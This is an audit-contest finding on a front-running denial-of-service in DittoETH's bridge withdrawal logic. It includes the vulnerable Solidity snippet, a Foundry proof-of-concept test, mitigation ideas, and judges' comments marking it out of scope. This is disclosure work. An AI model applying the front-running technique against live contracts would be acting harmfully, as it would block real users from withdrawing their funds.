Frontrunning withdrawal transactions and depositing token on the bridge can DoS a user's withdrawal

[c4-bot-1]

Lines of code

https://github.com/code-423n4/2024-03-dittoeth/blob/91faf46078bb6fe8ce9f55bcb717e5d2d302d22e/contracts/libraries/LibBridgeRouter.sol#L72-L76 https://github.com/code-423n4/2024-03-dittoeth/blob/91faf46078bb6fe8ce9f55bcb717e5d2d302d22e/contracts/libraries/LibBridgeRouter.sol#L102-L106

Vulnerability details

Impact

Attacker can DoS by reverting the user's withdrawal transaction.

Proof of Concept

When withdrawing dETH as a collateral token (stETH or rETH), if there are more than 100 wei credits of the token not being withdrawn (if stETH is withdrawn then rETH, if rETH is withdrawn then stETH) and less than 100 wei balance remains in the bridge, it is possible to use the credit of the other token.

If a user has another token credit and more than 100 wei balance remains in the bridge, the withdrawal request transaction is cancelled.

function assessDeth(uint256 vault, uint256 bridgePointer, uint88 amount, address rethBridge, address stethBridge)
    internal
    returns (uint88)
{
    AppStorage storage s = appStorage();
    STypes.VaultUser storage VaultUser = s.vaultUser[vault][msg.sender];

    uint88 creditReth;
    uint88 creditSteth;
    if (bridgePointer == VAULT.BRIDGE_RETH) {
        ...
        if (creditSteth < C.ROUNDING_ZERO) {
            // Valid withdraw when no STETH credits
            return amount;
        } else {
@>          if (IBridge(stethBridge).getDethValue() < C.ROUNDING_ZERO) {
                ...
@>          } else {
                // Must use available bridge credits on withdrawal
                // @dev Prevents abusing bridge for arbitrage
@>              revert Errors.MustUseExistingBridgeCredit();
            }
        }
    } else {
        ...
        if (creditReth < C.ROUNDING_ZERO) {
            // Valid withdraw when no RETH credits
            return amount;
        } else {
@>          if (IBridge(rethBridge).getDethValue() < C.ROUNDING_ZERO) {
                ...
@>          } else {
                // Must use available bridge credits on withdrawal
                // @dev Prevents abusing bridge for arbitrage
@>              revert Errors.MustUseExistingBridgeCredit();
            }
        }
    }
}

When the situation occurs where the credit of another token can be used, the user will set the withdrawal amount parameter thinking that they can use both credit. If an attacker frontrun withdrawal transaction and send or deposit more than 100 wei tokens to the bridge, the withdrawal transaction is reverted.

This is PoC. You can add it to BridgeRouter.t.sol and run.

function testFork_PoCDoSWithdraw() public {
    address attacker = address(0x1337);

    bridgeWithdrawSetup();

    deal(extra, 100 ether);
    deal(_reth, attacker, initialDeposit);

    // deposit extra stETH
    vm.startPrank(extra);
    diamond.depositEth{value: 100 ether}(_bridgeSteth);
    vm.stopPrank();

    // Artificially zero out rETH bridge balance
    zeroBridge(VAULT.BRIDGE_RETH);
    vm.stopPrank();

    // attacker deposit rETH (front running)
    vm.startPrank(attacker);
    reth.approve(_bridgeReth, type(uint256).max);
    diamond.deposit(_bridgeReth, 0.01 ether); // deposit tokens to bridge
    // reth.transfer(_bridgeReth, 100 wei); // or attacker can just send 100 wei
    vm.stopPrank();

    // Withdraw STETH using both RETH and STETH credit
    vm.startPrank(sender);
    uint88 sender_bridgeCreditSteth = diamond.getVaultUserStruct(vault, sender).bridgeCreditSteth;

    vm.expectRevert(Errors.MustUseExistingBridgeCredit.selector);
    diamond.withdraw(_bridgeSteth, sender_bridgeCreditSteth + 100); // try to use rETH 100 credit
}

Tools Used

Manual Review

Recommended Mitigation Steps

Instead of reverting the transaction with revert Errors.MustUseExistingBridgeCredit();, just only use withdrawal token credit. The user will pay more fees than originally intended, but the transaction will not be reverted.

Or add the withdraw function parameter for decide whether to revert or pay more fee when the credit of another token cannot be used.

Assessed type

DoS

[c4-pre-sort]

raymondfam marked the issue as insufficient quality report

[c4-pre-sort]

raymondfam marked the issue as primary issue

[raymondfam]

Readme: Issues related to front-running: can front-run someone's order, liquidation, the chainlink/uniswap oracle update.

[c4-judge]

hansfriese marked the issue as unsatisfactory: Out of scope